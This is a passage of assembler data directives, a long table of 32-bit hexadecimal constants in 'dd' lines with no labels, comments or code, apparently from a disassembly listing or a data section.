		dd 0A1097F78h, 4356944h, 0C322492Ch, 40026440h,	0C8A42BC0h
		dd 8128B3h, 0C7BBFCADh,	0E675876Bh, 1C083D07h, 44104318h
		dd 73BA669Bh, 792D041Bh, 80D6AC62h, 0B022CEFBh,	5E000179h
		dd 7FA63DF4h, 1D91CAh, 0D0AA31C8h, 0FC0630D9h, 0B7B46700h
		dd 89A943B2h, 0F6D3286Eh, 5D7C13EFh, 3E4900A6h,	55F14785h
		dd 20196600h, 2C7B274Bh, 23043994h, 0C300A5BAh,	0D415B8CFh
		dd 63003B20h, 5E6CF07Dh, 0B34EF8h, 431DB01Ch, 0E094D578h
		dd 23C58401h, 9D3407E4h, 1AC0EBE4h, 50CC79C9h, 29A5E060h
		dd 0DB845700h, 610AD1A6h, 3052722Ch, 2127C57Dh,	760C2845h
		dd 0DE73A85Fh, 1B1A03B9h, 0A17B2F64h, 233875B0h, 85915C1Eh
		dd 80713945h
		dd 0CC8FB840h, 1426DA17h, 0BE972D4Ah, 818BC402h, 0BC6258C8h
		dd 8469741h, 66E810h, 73725B75h, 4097E421h, 0A4C43Ch, 399593B8h
		dd 0CAAECBh, 487F25B4h,	6B437833h, 0C7A3B0A0h, 3BCDB1Eh
		dd 7B578CC0h, 8F38BFh, 5D4A65Ah, 0FCB02760h, 6DC9BD09h
		dd 5E8C9190h, 93C8DC50h, 0E4A73CB9h, 943C5F80h,	199DBAB6h
		dd 1261E6B0h, 8D40FBDCh, 98E6C920h, 286B6982h, 2D78200h
		dd 48954B4Eh, 4D42E96Ah, 6407510Dh, 521AC15Ch, 3D40D949h
		dd 8624FDEDh, 720EC6E3h, 4FF3864Eh, 0CF70171Bh,	0DB8A0730h
		dd 875E9001h, 0BF066CF9h, 9DBB0702h, 0FF5B0126h, 37F206E3h
		dd 6D1480ABh, 0F57AC64Bh, 0FE7101E1h, 0D25307EBh, 2A9580B9h
		dd 4328BD5Ch, 31B90EFh,	0DAC1EE9Bh, 3E072668h, 9AB4908Ch
		dd 81568AF2h, 61057CA9h, 0A1F67AFCh, 417054E3h,	6D5700B5h
		dd 70A960DFh, 0C400A084h, 3685C97h, 7C54E4h, 0F62BD45Fh
		dd 0D70CB342h, 8A0051ECh, 77FBA7E6h, 901EA962h,	559400EFh
		dd 954ED76Eh, 1200EC60h, 8865A647h, 1FDDEF5h, 42628E3h
		dd 0E0BC9E08h, 39480E49h, 0A2007315h, 77CBBEE9h, 79E107Ch
		dd 76D48A8Fh, 0C6136083h, 78142BAAh, 84473Bh, 9349F8F5h
		dd 8CC57Ch, 43E6255Fh, 22C08229h, 22440C9h, 0C0617327h
		dd 0FD1CE8h, 0F9F20CDEh, 0DDC27F91h, 0D0879702h, 6135E118h
		dd 0A1C46F5Dh, 2947D24h, 275CE6A5h, 6461800Bh, 4086F198h
		dd 48CD15B8h, 1007EAECh, 5A84567Ah, 0FF3D8521h,	5DD9BB40h
		dd 0EE2709DEh, 0FE801E02h, 67F82A5Ch, 180C6800h, 1995CA81h
		dd 0CE743E47h, 6B175200h, 450EEB07h, 0BD699E00h, 7B2EB6EEh
		dd 0E48728FBh, 27DC01B3h, 7EB56BEAh, 255A6492h,	0F3BB6320h
		dd 6E52E0h, 0C46D049Bh,	0E372E61Bh, 0B953C50h, 2FA22033h
		dd 1511E842h, 29D14C76h, 0A43BF600h, 0A988C67Dh, 0CAC1FB06h
		dd 12C3A78h, 409BC09Ch,	0D5DC8D50h, 981FDCB7h, 0C6BAEF09h
		dd 0B625ADDh, 75B458E3h, 6D5FB380h, 3D018032h, 64995249h
		dd 0E0FA19B0h, 2C9E4F5Fh, 60C8A95Dh, 26A55190h,	0CD815Dh
		dd 30A75B94h, 0F554178h, 0E38953CFh, 94E8C3EBh,	6A0B951h
		dd 5909CB29h, 3241C87h,	4B6F3C57h, 0D151E18h, 0F6112DECh
		dd 57AD7B02h, 8120BB8Ch, 5425C450h, 0AA63CF4h, 0B850560Eh
		dd 74260222h, 815AFC31h, 8108478Fh, 0F86CE77h, 5F3652FFh
		dd 520F4083h, 0E907275Eh, 0E0FBCD7Eh, 0E5D647B7h, 332D2003h
		dd 1FB285B8h, 0C0C50396h, 0EC78A9E0h, 5774C377h, 8A002871h
		dd 0CD7C39F5h, 3423CFCh, 0ED06476Fh, 97809252h,	1E002877h
		dd 53E071EFh, 75D11B7h,	0EDCB3520h, 0DDEB9009h,	7B7E296Ah
		dd 4F5B0600h, 9AF02B31h, 323505A1h, 0BF40543Bh,	1A236F6Bh
		dd 2C118400h, 9D6E574h,	0D98A90ABh, 0EAB4DEC3h,	4780229Bh
		dd 74B843F8h, 698C10Bh,	4EEC7830h, 0BB0F1609h, 0C602217Ah
		dd 1D12BA58h, 0A440557Eh, 5F34DCF5h, 8497E2B2h,	0A3BD6ABDh
		dd 8B0B1EBCh, 0EA28859Dh, 14F1C15Dh, 32167F38h,	2D69A178h
		dd 20BB84Fh, 90FCCA4Ch,	90575250h, 3F3F7C3h, 0A1E2D6Dh
		dd 0B9985D3Ch, 0C00D1DBh, 7F4C0E01h, 40F392Fh, 5A46B331h
		dd 5D8CBB58h, 44381E65h, 0A0690054h, 7D014D13h,	8307E91Ah
		dd 0F7EB0968h, 7D907B11h, 0E8BEB8C2h, 81A05A15h, 0A03CD61Dh
		dd 0E15F9748h, 0C42A0389h, 0AC9AFDD3h, 7B008C1Bh, 36C3EF2h
		dd 0D3AC9837h, 18C4AA68h, 0C82A9AAFh, 4AEBC01Bh, 0FD09301Fh
		dd 546FD3D4h, 0E4444036h, 0C2006DE6h, 0E2B09C02h, 25FB2A1Bh
		dd 71FCFF65h, 5114710Bh, 0BE7CC5C4h, 0A202DB7Bh, 0C9CB8075h
		dd 0F835E0D7h, 0D9852D89h, 0BE902904h, 0B8C4DC24h, 0A54C8280h
		dd 1A40256h, 17A91476h,	0FC59F48Bh, 0ECD30300h,	0CA5410h
		dd 37631970h, 0BFE9E178h, 384AC402h, 0D75B5F65h, 70041E6h
		dd 0C8368563h, 1EF2097h, 0DC9F6FA6h, 6B905AC6h,	98BB9BC5h
		dd 7312DF03h, 6809C60Eh, 70C6D4CDh, 3883B590h, 40C131D2h
		dd 434CC324h, 219D0116h, 6BBF5B84h, 251823B0h, 0E4152B77h
		dd 7A0B00BFh, 0C0D249ECh, 0A01ACDEh, 62C28D12h,	94708F36h
		dd 1E90BD89h, 0BF7C905Fh, 72989917h, 0BDA5F9C1h, 0DC7E5CEEh
		dd 0B529E406h, 16F90E79h, 0A656B6BFh, 0C78009D1h, 0E2385F92h
		dd 8D1A0B51h, 46991D31h, 0E13C0319h, 1E94EB05h,	0F4E8C0D5h
		dd 27016B84h, 14BB2276h, 0E62B029Ch, 15E467FFh,	496A1F78h
		dd 0F213860Fh, 0C55784B2h, 963300ABh, 0FBD675F1h, 0B4044100h
		dd 0FFECF0D5h, 9EE95BB5h, 819C401h, 4C2D8DAFh, 0A200A441h
		dd 3FA352A0h, 0DD6E47h,	0F706A9C5h, 91B5897Bh, 0EEA2044Eh
		dd 0BF3FF38Ch, 6BE52905h, 99A8B016h, 0B5C834C3h, 0C01AE5D7h
		dd 9D2B70B9h, 0E478C89Fh, 0D3CCA071h, 0A724B5DBh, 0B5B345CAh
		dd 0F57232BEh, 0BDF12175h, 2A1D18D9h, 88096DE0h, 14860C1h
		dd 0FB202D2Dh, 0CD24C1h, 0C5B4F4ACh, 0F50541DAh, 5DA0D377h
		dd 900058EAh, 0DABDECCCh, 0EB8106C7h, 7C2BFAA7h, 27959D16h
		dd 8BDA39D0h, 0DC7E97D1h, 5D2A0BCBh, 5B7BC90h, 9C26981h
		dd 0DFDF92F5h, 0B85DD929h, 2DEEB7F7h, 0FBF946E9h, 0E4513190h
		dd 0F92A2EF5h, 3124994Ch, 0F24BB06Ch, 8EBF80CCh, 0FC03163Ah
		dd 0FE1AA1A5h, 0BF892B34h, 4C9D80D0h, 5F440A63h, 27CE7162h
		dd 0DF27B5ECh, 0F413DC27h, 75C5B100h, 21276C42h, 7CE7CBh
		dd 0A1BD230Bh, 0F357DCE2h, 2619516Ch, 84083EFDh, 0AC97F48Dh
		dd 997D20EBh, 0C22E5CEDh, 814E25Bh, 0C5185AFh, 0ABCF65BFh
		dd 9707166Ah, 0F0ECF231h, 8048A038h, 0FC2ADF12h, 0EE020B6h
		dd 0B2033853h, 19DCC8C5h, 5FA38AB7h, 14BD60BFh,	14F57E16h
		dd 2FFEF98h, 0D9B531FAh, 0FEE67706h, 5AD402BEh,	4BD18FD7h
		dd 210CCEC2h, 0F05BDh, 4B0DDC8Ah, 0B4F4F788h, 0C463D0EFh
		dd 8872631Ch, 0DDFDD44Eh, 4311E884h, 0FF248FD1h, 0F2ADC7A0h
		dd 40781EB0h, 87FC032h,	0C6B30CACh, 167F4C9Dh, 0A279EF80h
		dd 5F57B1D7h, 0B16F9DFDh, 75A63EBCh, 0E59ACEF0h, 0F171BC01h
		dd 0B3B5DD5Eh, 3CD2286Ah, 0F946F88Ah, 0A975B27Bh, 0A235602Fh
		dd 61001DCCh, 0A7C5FBCAh, 97E1FF91h, 5B16EA74h,	198480A2h
		dd 0C7810005h, 2B0D7D0h, 627EBF59h, 51D46D0Ch, 97051C50h
		dd 0DA01103Dh, 2DDAD28h, 0B946286Ah, 6C9E045Bh,	17698F80h
		dd 1600B7BAh, 0BF8A2C1Fh, 2D2EEC68h, 1FED600Fh,	47A8E4C5h
		dd 4E73B348h, 2227A306h, 0B36A0107h, 17227A79h,	16486A0Dh
		dd 8362A968h, 2AD9ECEAh, 0D5CDBCE0h, 679BDF00h,	86D45A8Fh
		dd 82595B7Ah, 587C5B69h, 5335DF69h, 7F871B91h, 9543300Ah
		dd 21002C4Ch, 8A5290F5h, 7505FDAh, 714BEDBFh, 0E437B97Ch
		dd 7127BC81h, 72D8EBCAh, 0AA9926C7h, 131D081Ch,	0D2DBF827h
		dd 0C8DBEE6Eh, 168047CEh, 0EEA863FCh, 70E30E16h, 18C9E705h
		dd 3B2539EAh, 955659A0h, 3D0027E4h, 6B2F4154h, 481A60h
		dd 0AADD8518h, 0C1712CBCh, 0F1A17325h, 65B30BEAh, 0BB104650h
		dd 0EC964741h, 585AC7CAh, 158DA21Fh, 82385F08h,	252D9D01h
		dd 0DE627C16h, 0B8CD33BDh, 2EFB8B60h, 619B810Fh, 21F85B5h
		dd 9E15561h, 5DE90007h,	0D8D39302h, 0CC0911A4h,	0D1579EBAh
		dd 1DFBAD16h, 8A172B24h, 0E0DE261h, 37E629A7h, 0C30E109Dh
		dd 777D272Fh, 0C4060E7Fh, 79EA66D3h, 616A3AA6h,	84A42B02h
		dd 88D7641Bh, 8997C8CFh, 0C8007B7Ah, 0CF1CD0EAh, 9701E1DEh
		dd 0BF661A13h
		dd 0D62656E4h, 0FDC58140h, 0C0C4A82Fh, 0CE099B79h, 5B382792h
		dd 72C4E0F0h, 0F6AE0446h, 0F789E049h, 708B6484h, 1C22AF22h
		dd 9E50062Ah, 89EB132Dh, 70F7FB14h, 0CD5C8F70h,	18E113EDh
		dd 3F6099BFh, 4FF78B13h, 0BDE525B0h, 0D68C1E5Fh, 0D90644E8h
		dd 0A46F2502h, 455FDB08h, 0CABF81F0h, 0A82FC6B2h, 8921D2EEh
		dd 40D4AA8Bh, 30A0E8F9h, 290021D5h, 0E5E19C09h,	16C06AF1h
		dd 0EC5FA806h, 585846Ch, 160CBB40h, 1EC93868h, 559BFF8Bh
		dd 67DFD1E8h, 94A44351h, 16975879h, 0E0A20829h,	4B6AD7h
		dd 0BE4DFEAFh, 0E5E1664h, 4BCF8114h, 0EB4FFFA5h, 0FAAA6C02h
		dd 90766490h, 9D5F7810h, 0E8006237h, 0AD011D2Ch, 610E2F3Ch
		dd 59006444h, 465A9148h, 3D9C1D89h, 0E8017CB5h,	6588056Ch
		dd 3A9A7AF1h, 64C01CC8h, 1F636F7Ah, 0C94876ADh,	854614Dh
		dd 755AE641h, 13D432E5h, 4996003Bh, 4D06CFD4h, 0BB02BC56h
		dd 43D69B8Dh, 7AEF575Bh, 9B631C64h, 844830FAh, 2B01A876h
		dd 12C88060h, 0B22E958Bh, 35CA4F26h, 765427h, 86F205F6h
		dd 0AE6EC678h, 1FD1D104h, 2943E906h, 0C0BCED97h, 9030BC6Eh
		dd 8EBF8D3h, 7CA5A156h,	0BDE075B5h, 95100B45h, 0C478F9D3h
		dd 4194B507h, 0BADEDA5Eh, 4DE6C4C0h, 0BF048036h, 19EA7A6Ah
		dd 0A812098Bh, 197ABB04h, 9DBA6501h, 41C4F3C0h,	3F2F7D83h
		dd 1723926Fh, 1518F880h, 5AA99D29h, 6A70DD1Bh, 4C399621h
		dd 908F4FCh, 0E8D260Bh,	406A95DFh, 2ABE9BF8h, 98B5F4EEh
		dd 0B795315Dh, 0BF5052E8h, 0CAD25A0Bh, 5E68291Ah, 800DC8Ch
		dd 37A974C0h, 4FE7806Eh, 0A032CAB6h, 2486C7Dh, 7243AA2Ah
		dd 6BD6AB47h, 9FDB8061h, 9B7F934Dh, 85B9CB50h, 35EA79C2h
		dd 2BDEFA5Dh, 0E635B0C1h, 38356BDCh, 27041F6Fh,	0FB7A4F16h
		dd 0C627AA2h, 96FF1291h, 0D4EB94CEh, 37F5000h, 0E9D26898h
		dd 0C5E45A0Eh, 5A82A817h, 51E0CDF6h, 0E8075AFBh, 0A8C7DB57h
		dd 0E1B501B0h, 0A692B51Bh, 0FFB7DDh, 0FF110954h, 272EB2Bh
		dd 8A44FB27h, 0FBADA79Ch, 181659E5h, 0E09E02C5h, 1B61BD09h
		dd 81E0DAD6h, 27F9F7C7h, 15D435AFh, 28A90FF4h, 36E4C292h
		dd 0EF3D84ECh, 191D6E04h, 558BE117h, 17DEFB9Fh,	9D4700DFh
		dd 0FE03E50Bh, 0BF063901h, 7BC04666h, 0F9D3756Bh, 505CA8B8h
		dd 8020BD89h, 9709BB50h, 0AB6F0A69h, 18BD123h, 3F45E57Dh
		dd 96A23A09h, 0A5B5290Bh, 505FE5A0h, 876E0F60h,	0E38A0331h
		dd 0DAAFE561h, 0E815CA55h, 505FDC9h, 0CAE5ACF9h, 0B60065E9h
		dd 68A796A1h, 82AF004Bh, 60BCBED5h, 8E7CCC45h, 6E48900Bh
		dd 44DD5938h, 8AF5335h,	960B3105h, 6FDCDC50h, 0E316A612h
		dd 1C99E0AFh, 9D890B26h, 46141915h, 0D9FE90B5h,	2CB3002Fh
		dd 8FE1663Eh, 810276B4h, 67EEF362h, 0E9BED6A8h,	6140CF4Dh
		dd 257C29FAh, 0E05CE44Dh, 9D98B80h, 971EFD8Dh, 1879165Bh
		dd 0E3396618h, 0DB0A3B88h, 1DB1DE81h, 0C1E0756Bh, 6B4CBECBh
		dd 8898E028h, 0BE126660h, 0B188FD8Eh, 0F3610004h, 8DAA9417h
		dd 0CB00E14Ah, 78FB3F67h, 4A3652E5h, 0EE638861h, 842E2400h
		dd 63C6E795h, 73C300FAh, 4FC9308Bh, 0F0252D77h,	0D661D494h
		dd 9A001A46h, 27B17351h, 8B26FDACh, 5E2D66DFh, 0EDC69787h
		dd 0ED1ECCEh, 36E594E8h, 0CB81009Eh, 1EAAF349h,	0FEDA8B27h
		dd 0E3301609h, 0A9BFC13Fh, 35205BCBh, 0A9F24B32h, 2FDA3967h
		dd 7A637BC1h, 5DE7CAD5h, 0BF2A388h, 1675168Dh, 62359755h
		dd 73CE701Ch, 0C0E43460h, 76A3FBE8h, 938A00B6h,	38CF26ADh
		dd 5B009EEEh, 70D7694Fh, 18BF66CCh, 9261E4A4h, 0BC832A15h
		dd 942CF6C0h, 906825D3h, 1A0116F1h, 13922BC8h, 0FA500838h
		dd 200D4582h, 0C848964h, 588A3FB8h, 9959050h, 6279FE6Eh
		dd 64D72350h, 6A5F2B36h, 37A7D0F9h, 0F0622C02h,	78FF9D13h
		dd 0E6125B58h, 391E03AEh, 98A23A66h, 90FC5Dh, 0FB549F37h
		dd 0CF80C47Fh, 252B4758h, 92CEDCB5h, 439BFF6Ah,	0E4793580h
		dd 313F0AC5h, 8A3203CFh, 0E2D022BFh, 9BF9826Ch,	886274C6h
		dd 37A5431Fh, 0ADBE00BEh, 0FAC19E3h, 6581984Eh,	31DC34B7h
		dd 0E53B551h, 39C60634h, 4616902h, 524882D5h, 0D6D48948h
		dd 0DB7B2FCBh, 22181651h, 43418B2Fh, 0FC4227EDh, 0E8F74046h
		dd 5902B786h, 678F51BBh, 0EB217470h, 0A040E44Dh, 2B1A1EBh
		dd 3C903B05h, 662B483h,	0D5E020CDh, 1C9E21Eh, 89AD7C09h
		dd 328D0F4Ah, 61A25BAAh, 0D810C000h, 0D6C40807h, 0E0A0B451h
		dd 149DF85Fh, 0F24A4347h, 2EB63018h, 0CA054610h, 12DB5228h
		dd 835BCCEAh, 7FC7905Bh, 507DB2C3h, 0F381B0BFh,	78BB4C29h
		dd 0DA083116h, 0E1E3250Eh, 0E2E9048Ch, 0A5FB38EBh, 7A30C641h
		dd 7A3BE99Dh, 84C80021h, 0FD33E4FFh, 0CD145E65h, 3D0A69Ah
		dd 38A75B13h, 0A6B0DE46h, 0A4028C34h, 0EB5D0F17h, 498A4ACCh
		dd 0BA213141h, 8625FBF9h, 6DB779A7h, 0C740B29Ch, 0A362D159h
		dd 0BD89098Fh, 2CD230E5h, 14A19F31h, 0BA050D7Dh, 1689079Bh
		dd 70407530h, 4D94FF4Eh, 0C27FDEBAh, 0DD22429Bh, 8951E74Ch
		dd 79E2371h, 2600347h, 40A95C12h, 97321ECh, 17C52B01h
		dd 49E19A85h, 0BD755BE4h, 960E0049h, 0AF98D0A6h, 0D888295Fh
		dd 0F8EB0581h, 0C1661743h, 771D89B7h, 0D8F8B5EAh, 0EB32007Ch
		dd 0D47B91CBh, 319D5F52h, 0C114FE5Fh, 2317926h,	2045F8B0h
		dd 0E62F13A5h, 5E2FC270h, 0E3810257h, 58740861h, 0C74BDC91h
		dd 128C924Fh, 0DF8046F3h, 10CED787h, 0D96CC466h, 0DC5B0B20h
		dd 845C752h, 8A0C422Ch,	27F76EDDh, 4E42C33Fh, 6302D266h
		dd 0A767039Ch, 3E64DD5Fh, 9023B920h, 0CDC69D50h, 0C82BF917h
		dd 1E9DC021h, 10D1679Bh, 768822CDh, 358FBF20h, 8B250AC6h
		dd 2F510885h, 94AC057Eh, 0BB000A37h, 5EBE1EB8h,	5040E75Dh
		dd 184EB588h, 444C098h,	22DA0CF4h, 82A3AA37h, 34D0E93Ch
		dd 3FF628Dh, 655DD98Ah,	8957092Fh, 0F7DB6AF5h, 1907ECC2h
		dd 0DD85E1FEh, 0EAD47A26h, 25BD6050h, 0FE385F07h, 7F984078h
		dd 52FC502Eh, 6284BB9Eh, 0F6EB4342h, 77A6A485h,	7A974200h
		dd 5DB90CD0h, 128F0F52h, 88AF3279h, 1C5C8EF5h, 4988C8B2h
		dd 6E0039F9h, 8579F41Fh, 77570164h, 20AEFBC5h, 6159F49Ch
		dd 0BC11FC4Dh, 308705F2h, 0B6C02BF5h, 43E0E762h, 0BF9109D4h
		dd 45BA4CC1h, 954C045Fh, 0FE9BBA0Ah, 53DC8A01h,	24B19531h
		dd 6DBD5B61h, 611544BDh, 0E928A74Eh, 8AE6FD5Ah,	5E2D148Eh
		dd 0A07F6BB9h, 5B14D813h, 7E52093Dh, 920B5E24h,	2039B2F6h
		dd 153B721h, 7ED69CACh,	250F4D15h, 0FCC55E72h, 0C439BDF9h
		dd 910007A8h, 5AB9ABFFh, 9AE06DEh, 958D2945h, 1560EB6Fh
		dd 1366021Ch, 0A2030F3Dh, 0DE998951h, 0B800F62Fh, 3DBA858Fh
		dd 4B24283Bh, 0C24AACF0h, 3D16459Dh, 55A58F23h,	3B8EBD98h
		dd 0BD038309h, 66EC7D39h, 903F9600h, 0D9A02F70h, 9AFD00C6h
		dd 1F465872h, 0FEB6E1FFh, 0A41003DCh, 0D28DA20Bh, 3A4931E9h
		dd 5A14AE28h, 806EDE04h, 0B5315FA6h, 8E7BE309h,	53FF3511h
		dd 792A4601h, 283A12CBh, 27C3B6ACh, 27019D33h, 6284604Dh
		dd 91FF1332h, 3A0E155Dh, 80F87337h, 0E66D82D7h,	25006A44h
		dd 5EDB8F2h, 2704846Fh,	7C4BDA49h, 26C452D4h, 0AF4F8FACh
		dd 0A6844361h, 4E6420C4h, 2A709D40h, 76C12ADAh,	0DCF5A49Dh
		dd 2E12D2BBh, 7BFE42CEh, 49670170h, 52F3A68Bh, 9B8302Fh
		dd 0C5FA9B5h, 0B180C0BDh
		dd 3472FE9Ah, 6C26F800h, 94039B8Bh, 5A4416D6h, 0A8C5C5FBh
		dd 0D1BE17DCh, 1525A1ECh, 777A81D6h, 918B9BE0h,	6BF3F995h
		dd 2DD88687h, 5FA83FBBh, 0B8FA1F9Fh, 0FE93523Fh, 5D5AA35Fh
		dd 0A6C10AAh, 5890B571h, 0B20030CEh, 62A14A4Dh,	72B37DD3h
		dd 0EB9895FAh, 127BD23h, 9F674E14h, 0E94370F6h,	0F08D4C0Bh
		dd 7044BB4Fh, 52A96585h, 0A31920ECh, 0AD56DFC5h, 93E3A36Eh
		dd 8032DAAAh, 5A825259h, 4EF5A09h, 0E8A6A7DDh, 0DCAFDD47h
		dd 4675696Dh, 0BF5C4A02h, 56F82C34h, 67A53F81h,	774BF0A9h
		dd 0F8E15900h, 0F324B9CDh, 89A72568h, 4FE2606Dh, 83B98847h
		dd 6330F725h, 9527B501h, 0A5795B27h, 0EA7072D3h, 0B89B1E42h
		dd 0C96B029Ch, 3589E920h, 0F69645F6h, 0F0A84F81h, 6F68133Ah
		dd 51ED0F49h, 0D601E0FCh, 4E23F5AFh, 963A929Dh,	0D340DF5Eh
		dd 0EDAF0h, 46B9BFD7h, 169385AEh, 110283A1h, 0D8785F50h
		dd 0F000985Ch, 85299661h, 5B9732D1h, 18157954h,	4A89FE6Ah
		dd 271A9BDh, 0D092D168h, 0DBB5422Bh, 445F12B2h,	410487E3h
		dd 5D09BB66h, 4DFB27Eh,	2BCF912Eh, 4E2007F0h, 0B1E8C37h
		dd 34B79BFh, 0F18A6090h, 18F440Bh, 9D3FF261h, 5FC9D34Dh
		dd 0D37F8F90h, 352FB090h, 5CE7592Ah, 0EA7D0802h, 0A4F99531h
		dd 6EBF61E6h, 0F7D700F4h, 270B4792h, 0AAB62556h, 2982F2E5h
		dd 752F4195h, 344EED9Ch, 29EC62F9h, 52253472h, 43E76F9h
		dd 452EC19Dh, 411F21E9h, 7508BD09h, 75F2E91Dh, 1C507C53h
		dd 39CE127Eh, 518C5B6h,	0FF0C09B0h, 0C21D717Bh,	0B74C8477h
		dd 2E7BE188h, 890BD528h, 2AC5F42Bh, 0F89AF6A7h,	0A57CD97Dh
		dd 95BBE90h, 0BB3A8E38h, 0E2854A52h, 82D19FFAh,	401ADD75h
		dd 9751EBCAh, 1559075Bh, 214F6818h, 4B4ADAE0h, 3320CCA2h
		dd 12B1BD16h, 79FF2DEAh, 0FDF0A979h, 63412C40h,	0B76B0F7Eh
		dd 0BB963944h, 84F788h,	6CAF55B4h, 0A688B062h, 9707B2E8h
		dd 0F561AEAAh, 60A4C750h, 0BB36BE66h, 0FE830F13h, 72BFA8CCh
		dd 9CC498BBh, 0EA131260h, 40C10A2Ch, 0EC45115h,	5B091489h
		dd 6DE914DCh, 8FF54226h, 7E95DB41h, 965FA34Ch, 0EAC94A87h
		dd 8E25247Fh, 896CA6D5h, 0CB054BE0h, 6A4AD4h, 30D4901h
		dd 7A23619Dh, 8B2DCADDh, 0AFC53F9Fh, 75F64A30h,	0BCD814A4h
		dd 5D6E5F6Ah, 85D5D30Bh, 1F6204F7h, 8BC463BDh, 0A2F3ABDEh
		dd 2819951Fh, 1E6817Bh,	134BF94Bh, 0ACC6A9EEh, 39008C1Dh
		dd 0E2D20359h, 5D5F975h, 8D29FA23h, 0F2F794C5h,	9B057EE3h
		dd 267693E5h, 0F1DD404h, 60965B02h, 3B40075Eh, 138A5450h
		dd 3D8BE59h, 800FE697h,	77201F48h, 2C0B8826h, 0B81C350h
		dd 584F0725h, 18DFCC0Bh, 370562Dh, 0B6F5A635h, 744B338Fh
		dd 5A8B6B9Bh, 0B1407876h, 0B833567h, 829AADFFh,	0EF324DFh
		dd 69BD0101h, 0B75F1004h, 0F07C9540h, 58ED12FEh, 4B0BAA0Bh
		dd 6CBDD52Dh, 20BCFE80h, 4B705EDAh, 4A61CACDh, 0A67A0CA1h
		dd 86A2F761h, 5D58426Ah, 315E366h, 98AF5BDh, 7A99B529h
		dd 5F5C908Dh, 0B579B88Eh, 0F33BB2CDh, 0B7F24087h, 67BDA25Bh
		dd 0A67DB9BCh, 0C0C63201h, 0C318942h, 134E726Ch, 234C6E60h
		dd 8991001Bh, 77A38A66h, 0E6BB2125h, 27564BB6h,	5405806Ch
		dd 0E817BE69h, 8AE98E9Bh, 33565182h, 5F47D0FEh,	0A07A7919h
		dd 2FA12FA4h, 22C4E459h, 2E57E157h, 0AC134A34h,	7DC128AEh
		dd 2AF3FE00h, 0C0B9A123h, 348297FFh, 55E90B3h, 4FB58958h
		dd 903149E9h, 0B72F20DCh, 71207DFh, 0FBAF1522h,	48D7E384h
		dd 77ADC164h, 0E80098B8h, 90EF3AA5h, 484ACC0h, 590BBFE3h
		dd 0B4F3FE28h, 1689571Eh, 7F4BBBD1h, 0A9500290h, 0D47E54E1h
		dd 8E001A46h, 645665C7h, 6A5AC42Eh, 14CF419Bh, 38B29DE0h
		dd 719F297Bh, 2695208Eh, 4E040A09h, 1A6995C2h, 9A1014C4h
		dd 0FB1214D6h, 96D4FB01h, 305EA6ACh, 97C38075h,	2295059h
		dd 85092404h, 0B70FC6CDh, 95A30F66h, 5BC9BDFCh,	56BCF6EDh
		dd 8EE11702h, 5DB072A2h, 0E30571F3h, 9AFA41E8h,	0C0C2D14Dh
		dd 63B7AD8Ah, 81D900B5h, 0F8E81CBBh, 0D15FFF2Ch, 42E020A6h
		dd 0F74BD776h, 0E921608Ah, 2B1919F9h, 8B179EB8h, 4435BEA1h
		dd 1D78EEFh, 28B76CF2h,	0A960ED80h, 0A8234F29h,	1BFDD3CDh
		dd 6E1C2DA8h, 0B3C0854Bh, 0CF80BA3Dh, 0C5049D1Ah, 53F1122Eh
		dd 7467A17Fh, 360086EEh, 117C2D4Bh, 2E00554h, 0F6997C7h
		dd 0A742F98Bh, 50E17DCDh, 0FA316A01h, 8001B22Bh, 7AAE3508h
		dd 118807B1h, 40BC0568h, 0B3E12214h, 8BA33E0Bh,	58B7780h
		dd 46D6FDD4h, 0F9640414h, 38BA9DE9h, 0D640A414h, 6BBB1466h
		dd 4172C6DDh, 9994412Ah, 139C2E11h, 127190F8h, 0E03FB1EFh
		dd 63E2BBBDh, 6A75F9A2h, 3B0F138h, 0B63C7537h, 60CD1881h
		dd 525CD151h, 96312C85h, 323D02C8h, 5CFEFC90h, 9D5E4BA6h
		dd 36964AF4h, 3527DE71h, 53FCD41Bh, 18C1EC10h, 0F321AB4Ah
		dd 0B52A9D2Bh, 0B39A7A31h, 40C116C8h, 792C21F0h, 0BBFF6A00h
		dd 7CCAFAC4h, 0D52D9BB0h, 0D069532Eh, 380147B9h, 7E6914B6h
		dd 0C60E371h, 0F22A4A6Dh, 14E86DEh, 0B0DE2DF7h,	5F272C02h
		dd 8516795Ch, 0C1AAAE25h, 100BDD83h, 882A11BDh,	0E94F71E4h
		dd 4A122BEFh, 5E1299D3h, 430E2779h, 0DDF0970Dh,	7007DE3Ch
		dd 371E904Dh, 0C15D7D41h, 95FDD02Bh, 918E12F9h,	0E282BE27h
		dd 19569035h, 8EBBBAC0h, 5BABAA12h, 0F7B590EFh,	1097E059h
		dd 31248h, 4B29E37Dh, 667A45DEh, 688F6512h, 0E82EABE1h
		dd 7EA590C0h, 2F2B0A40h, 0C358FCC8h, 81AA44h, 79B2C6EBh
		dd 50FBB32h, 596DC42Eh,	0A512F134h, 5712788h, 2A2E923Ch
		dd 7408EE90h, 0FC5B0418h, 7CB4B861h, 137D8517h,	18FC6ACh
		dd 0AB0D6525h, 482B48DDh, 55A52FBFh, 0DB811310h, 3167DE09h
		dd 536416h, 88BF6076h, 0CD90123Fh, 515A6113h, 2DD59505h
		dd 5CE9D4C8h, 0ABD6943Bh, 0D1AC01D4h, 0FA256494h, 2345D2C4h
		dd 0C1CBB700h, 0CF32973Eh, 252D5B5Dh, 952C2557h, 0CFAD9424h
		dd 144FD584h, 7407DCFh,	9149EC29h, 159EB1C3h, 208B2E19h
		dd 5F86A4Bh, 8D09942Ch,	0A8AC4CC9h, 0D9864D24h,	2EB90021h
		dd 0CF77A00Fh, 82EB4B55h, 0D58260E7h, 8A012ED1h, 0F3EE61D3h
		dd 0B9E073A5h, 9D01A60Dh, 0F9C85894h, 9066C02Bh, 0B79EF2F0h
		dd 58C49A1Ch, 9D018C41h, 0A6820561h, 5EF55060h,	0F8651840h
		dd 256BB43Fh, 0FC3DF4BAh, 47EF1B5h, 95E59529h, 109FFA5Eh
		dd 9178D8D3h, 8D298F04h, 0F6AB279Dh, 0B0730E2h,	9E4AEB7h
		dd 15CC3AB0h, 8F957FE6h, 0C3A450EFh, 99FFD940h,	5992A957h
		dd 76DB7AD5h, 4B12C650h, 4A136EB1h, 1B805FB8h, 0F63540F1h
		dd 91D78012h, 0C889CEE2h, 0A755BD7Dh, 2144007Fh, 7B1DE5C5h
		dd 6570B560h, 5B124120h, 0A93FA961h, 0BE80E469h, 0B780124Fh
		dd 7CCC5C27h, 0D881C41Ch, 234B61C6h, 0DA4B05CBh, 0E17980D1h
		dd 3D0C2698h, 5525BF66h, 4C003971h, 448DD497h, 74D3018Bh
